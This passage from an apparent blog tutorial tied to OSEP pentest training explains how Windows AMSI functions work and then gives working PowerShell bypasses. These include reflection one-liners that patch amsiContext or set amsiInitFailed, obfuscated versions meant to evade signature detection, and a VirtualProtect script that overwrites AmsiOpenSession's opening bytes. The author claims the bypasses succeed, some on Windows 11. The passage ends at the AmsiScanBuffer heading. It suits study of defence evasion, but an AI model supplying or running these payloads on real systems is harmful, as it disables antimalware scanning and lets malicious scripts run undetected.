<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--10"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg apw"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*rZJNV64TPPAzZ1Zc.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*rZJNV64TPPAzZ1Zc.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*rZJNV64TPPAzZ1Zc.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*rZJNV64TPPAzZ1Zc.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*rZJNV64TPPAzZ1Zc.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*rZJNV64TPPAzZ1Zc.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*rZJNV64TPPAzZ1Zc.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*rZJNV64TPPAzZ1Zc.png 640w, https://miro.medium.com/v2/resize:fit:720/0*rZJNV64TPPAzZ1Zc.png 720w, https://miro.medium.com/v2/resize:fit:750/0*rZJNV64TPPAzZ1Zc.png 750w, https://miro.medium.com/v2/resize:fit:786/0*rZJNV64TPPAzZ1Zc.png 786w, https://miro.medium.com/v2/resize:fit:828/0*rZJNV64TPPAzZ1Zc.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*rZJNV64TPPAzZ1Zc.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*rZJNV64TPPAzZ1Zc.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*rZJNV64TPPAzZ1Zc.png)</source></source></picture></div></div></figure>To understand the process better, let’s inspect these functions.

Function AmsiInitialize has **2** arguments, after the execution, the argument **amsiContext** will be initialized. It is a handle of type **HAMSICONTEXT** that will be passed to all subsequent calls to the AMSI API.

```
HRESULT AmsiInitialize(<br></br>[in] LPCWSTR appName,<br></br>[out] HAMSICONTEXT *amsiContext<br></br>);
```

Function AmsiOpenSession has 2 arguments, either. The 1st argument is amsiContext, which is initialized from the function AmsiInitialize. After the execution, **amsiSession** will be initialized. It is a handle of type **HAMSISESSION** that will be passed to all subsequent calls to the AMSI API within the session.

```
HRESULT AmsiOpenSession(<br></br>[in] HAMSICONTEXT amsiContext,<br></br>[out] HAMSISESSION *amsiSession<br></br>);
```

Function AmsiScanBuffer has 6 arguments, including previously initialized amsiContext and amsiSession. Other arguments include the script content, the length of the content, the content ID, and the scan result. The value of argument result will be set after the execution.

```
HRESULT AmsiScanBuffer(<br></br>[in] HAMSICONTEXT amsiContext,<br></br>[in] PVOID buffer,<br></br>[in] ULONG length,<br></br>[in] LPCWSTR contentName,<br></br>[in, optional] HAMSISESSION amsiSession,<br></br>[out] AMSI_RESULT *result<br></br>);
```

According to the result value, scanned script could be considered malicious or clean. **AMSI\_RESULT\_CLEAN** is **1**, **AMSI\_RESULT\_DETECTED** is **32767.**

```
typedef enum AMSI_RESULT {<br></br>AMSI_RESULT_CLEAN,<br></br>AMSI_RESULT_NOT_DETECTED,<br></br>AMSI_RESULT_BLOCKED_BY_ADMIN_START,<br></br>AMSI_RESULT_BLOCKED_BY_ADMIN_END,<br></br>AMSI_RESULT_DETECTED<br></br>} ;
```

Armed with background knowledge, let’s discuss how to bypass AMSI by attacking these functions.

# Attack AmsiOpenSession

In OSEP, the bypass method is to patch the first **DWORD** pointed by amsiContext. The following screenshot is the graph view of AmsiOpenSession on **Windows Server 2019**. As we can see, the first DWORD is compared to “**AMSI**“.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--11"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqg"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*zYCI0v1wQkrbhM2Y.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*zYCI0v1wQkrbhM2Y.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*zYCI0v1wQkrbhM2Y.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*zYCI0v1wQkrbhM2Y.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*zYCI0v1wQkrbhM2Y.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*zYCI0v1wQkrbhM2Y.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*zYCI0v1wQkrbhM2Y.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*zYCI0v1wQkrbhM2Y.png 640w, https://miro.medium.com/v2/resize:fit:720/0*zYCI0v1wQkrbhM2Y.png 720w, https://miro.medium.com/v2/resize:fit:750/0*zYCI0v1wQkrbhM2Y.png 750w, https://miro.medium.com/v2/resize:fit:786/0*zYCI0v1wQkrbhM2Y.png 786w, https://miro.medium.com/v2/resize:fit:828/0*zYCI0v1wQkrbhM2Y.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*zYCI0v1wQkrbhM2Y.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*zYCI0v1wQkrbhM2Y.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*zYCI0v1wQkrbhM2Y.png)</source></source></picture></div></div></figure>As long as the first DWORD is not equal to “AMSI”, the execution will jump to the following code block:

```
loc_18000250B:<br></br>mov eax, 80070057h<br></br>retn<br></br>AmsiOpenSession endp
```

EAX is set as **0x80070057**, which is **E\_INVALIDARG** error. The execution of AmsiOpenSession is unsuccessful, and so will all subsequent calls to the AMSI API.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--12"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqh"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/1*Zna9zB_GzPK8VnombAsvEg.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/1*Zna9zB_GzPK8VnombAsvEg.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/1*Zna9zB_GzPK8VnombAsvEg.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/1*Zna9zB_GzPK8VnombAsvEg.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/1*Zna9zB_GzPK8VnombAsvEg.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Zna9zB_GzPK8VnombAsvEg.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Zna9zB_GzPK8VnombAsvEg.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/1*Zna9zB_GzPK8VnombAsvEg.png 640w, https://miro.medium.com/v2/resize:fit:720/1*Zna9zB_GzPK8VnombAsvEg.png 720w, https://miro.medium.com/v2/resize:fit:750/1*Zna9zB_GzPK8VnombAsvEg.png 750w, https://miro.medium.com/v2/resize:fit:786/1*Zna9zB_GzPK8VnombAsvEg.png 786w, https://miro.medium.com/v2/resize:fit:828/1*Zna9zB_GzPK8VnombAsvEg.png 828w, https://miro.medium.com/v2/resize:fit:1100/1*Zna9zB_GzPK8VnombAsvEg.png 1100w, https://miro.medium.com/v2/resize:fit:1400/1*Zna9zB_GzPK8VnombAsvEg.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/1*Zna9zB_GzPK8VnombAsvEg.png)</source></source></picture></div></div></figure>However, on Windows 11, the first DWORD is not checked anymore. Fortunately, there are still multiple ways to land that code block. The **RDX**, **RCX**, the **2nd QWORD**, and the **3rd QWORD** are compared to 0 respectively. If **any** of them equals 0, AmsiOpenSession will exit with error.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--13"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqi"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*PjC8Ba52FdDoX6Sd.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*PjC8Ba52FdDoX6Sd.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*PjC8Ba52FdDoX6Sd.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*PjC8Ba52FdDoX6Sd.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*PjC8Ba52FdDoX6Sd.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*PjC8Ba52FdDoX6Sd.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*PjC8Ba52FdDoX6Sd.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*PjC8Ba52FdDoX6Sd.png 640w, https://miro.medium.com/v2/resize:fit:720/0*PjC8Ba52FdDoX6Sd.png 720w, https://miro.medium.com/v2/resize:fit:750/0*PjC8Ba52FdDoX6Sd.png 750w, https://miro.medium.com/v2/resize:fit:786/0*PjC8Ba52FdDoX6Sd.png 786w, https://miro.medium.com/v2/resize:fit:828/0*PjC8Ba52FdDoX6Sd.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*PjC8Ba52FdDoX6Sd.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*PjC8Ba52FdDoX6Sd.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*PjC8Ba52FdDoX6Sd.png)</source></source></picture></div></div></figure>The following one-liner payload leverages reflection, it can be used to patch the 1st DWORD to achieve AMSI bypass, now it does not work on Windows 11.

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
```

The one-liner payload is obfuscated to avoid signature-based detection, let’s break it down:

1: Get the assembly that Ref is defined in, then get a list of all types defined in that assembly  
2: In the list, locate AmsiUtils based on the property characteristics of AmsiUtils, such as IsPublic=False, IsSerial=False, and the Name contains the “iUtils” substring, etc.  
3: Locate amsiContext in a similar manner  
4: Get the address of the amsiContext parameter and patch the first DWORD in the structure to 0

Adjust the payload to patch the 2nd QWORD, and it works on Windows 11.

```powershell
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)
```

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--14"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqj"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*7s139sMAVWUVtEcz.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*7s139sMAVWUVtEcz.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*7s139sMAVWUVtEcz.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*7s139sMAVWUVtEcz.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*7s139sMAVWUVtEcz.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*7s139sMAVWUVtEcz.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*7s139sMAVWUVtEcz.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*7s139sMAVWUVtEcz.png 640w, https://miro.medium.com/v2/resize:fit:720/0*7s139sMAVWUVtEcz.png 720w, https://miro.medium.com/v2/resize:fit:750/0*7s139sMAVWUVtEcz.png 750w, https://miro.medium.com/v2/resize:fit:786/0*7s139sMAVWUVtEcz.png 786w, https://miro.medium.com/v2/resize:fit:828/0*7s139sMAVWUVtEcz.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*7s139sMAVWUVtEcz.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*7s139sMAVWUVtEcz.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*7s139sMAVWUVtEcz.png)</source></source></picture></div></div></figure>We can also attack AmsiOpenSession with PowerShell script. The following script patched AmsiOpenSession to set RCX as 0.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--15"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqk"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*s5mW1UucyXzK737_.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*s5mW1UucyXzK737_.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*s5mW1UucyXzK737_.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*s5mW1UucyXzK737_.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*s5mW1UucyXzK737_.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*s5mW1UucyXzK737_.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*s5mW1UucyXzK737_.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*s5mW1UucyXzK737_.png 640w, https://miro.medium.com/v2/resize:fit:720/0*s5mW1UucyXzK737_.png 720w, https://miro.medium.com/v2/resize:fit:750/0*s5mW1UucyXzK737_.png 750w, https://miro.medium.com/v2/resize:fit:786/0*s5mW1UucyXzK737_.png 786w, https://miro.medium.com/v2/resize:fit:828/0*s5mW1UucyXzK737_.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*s5mW1UucyXzK737_.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*s5mW1UucyXzK737_.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*s5mW1UucyXzK737_.png)</source></source></picture></div></div></figure>```
function LookupFunc {<br></br>    Param ($moduleName, $functionName)<br></br>    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |<br></br>    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].<br></br>     Equals('System.dll')<br></br>     }).GetType('Microsoft.Win32.UnsafeNativeMethods')<br></br>    $tmp=@()<br></br>    $assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}<br></br>    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,<br></br>@($moduleName)), $functionName))<br></br>}<br></br><br></br><br></br>function getDelegateType {<br></br>    Param (<br></br>     [Parameter(Position = 0, Mandatory = $True)] [Type[]]<br></br>     $func, [Parameter(Position = 1)] [Type] $delType = [Void]<br></br>    )<br></br>    $type = [AppDomain]::CurrentDomain.<br></br>    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),<br></br>[System.Reflection.Emit.AssemblyBuilderAccess]::Run).<br></br>    DefineDynamicModule('InMemoryModule', $false).<br></br>    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,<br></br>    AutoClass', [System.MulticastDelegate])<br></br><br></br>  $type.<br></br>    DefineConstructor('RTSpecialName, HideBySig, Public',<br></br>[System.Reflection.CallingConventions]::Standard, $func).<br></br>     SetImplementationFlags('Runtime, Managed')<br></br><br></br>  $type.<br></br>    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,<br></br>$func). SetImplementationFlags('Runtime, Managed')<br></br>    return $type.CreateType()<br></br>}<br></br><br></br><br></br>[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession<br></br>$oldProtectionBuffer = 0<br></br>$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))<br></br>$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)<br></br>$buf = [Byte[]] (0x48,0x31,0xc9)<br></br>[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
```

After executing the script, we bypassed AMSI.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--16"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aql"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*XAeyE1IxocZ84RDz.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*XAeyE1IxocZ84RDz.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*XAeyE1IxocZ84RDz.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*XAeyE1IxocZ84RDz.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*XAeyE1IxocZ84RDz.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*XAeyE1IxocZ84RDz.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*XAeyE1IxocZ84RDz.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*XAeyE1IxocZ84RDz.png 640w, https://miro.medium.com/v2/resize:fit:720/0*XAeyE1IxocZ84RDz.png 720w, https://miro.medium.com/v2/resize:fit:750/0*XAeyE1IxocZ84RDz.png 750w, https://miro.medium.com/v2/resize:fit:786/0*XAeyE1IxocZ84RDz.png 786w, https://miro.medium.com/v2/resize:fit:828/0*XAeyE1IxocZ84RDz.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*XAeyE1IxocZ84RDz.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*XAeyE1IxocZ84RDz.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*XAeyE1IxocZ84RDz.png)</source></source></picture></div></div></figure># Attack AmsiInitialize

Considering AmsiInitialize is called before we can supply scripts, we cannot directly patch the instruction. However, we can patch the structure pointed by amsiContext as it is initialized after the execution.

Leverage reflection, the raw one-liner payload is as follows:

```
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).<mark class="arb arc ao">SetValue</mark>($null,$<mark class="arb arc ao">true</mark>)
```

Obfuscate it to avoid signature-based detection:

```
$a=<mark class="arb arc ao">[Ref].Assembly.GetTypes</mark>();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Failed”) {$f=$e}};$f.<mark class="arb arc ao">SetValue</mark>($null,$<mark class="arb arc ao">true</mark>)
```

We successfully bypassed AMSI. This payload still works, even on Windows 11.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--17"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg aqm"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*JXoSzgYUG8VpeWPw.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*JXoSzgYUG8VpeWPw.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*JXoSzgYUG8VpeWPw.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*JXoSzgYUG8VpeWPw.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*JXoSzgYUG8VpeWPw.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*JXoSzgYUG8VpeWPw.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*JXoSzgYUG8VpeWPw.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*JXoSzgYUG8VpeWPw.png 640w, https://miro.medium.com/v2/resize:fit:720/0*JXoSzgYUG8VpeWPw.png 720w, https://miro.medium.com/v2/resize:fit:750/0*JXoSzgYUG8VpeWPw.png 750w, https://miro.medium.com/v2/resize:fit:786/0*JXoSzgYUG8VpeWPw.png 786w, https://miro.medium.com/v2/resize:fit:828/0*JXoSzgYUG8VpeWPw.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*JXoSzgYUG8VpeWPw.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*JXoSzgYUG8VpeWPw.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*JXoSzgYUG8VpeWPw.png)</source></source></picture></div></div></figure># Attack AmsiScanBuffer

Inspect assemble codes of AmsiScanBuffer, we also noticed the code block that forces the function to exit with error.

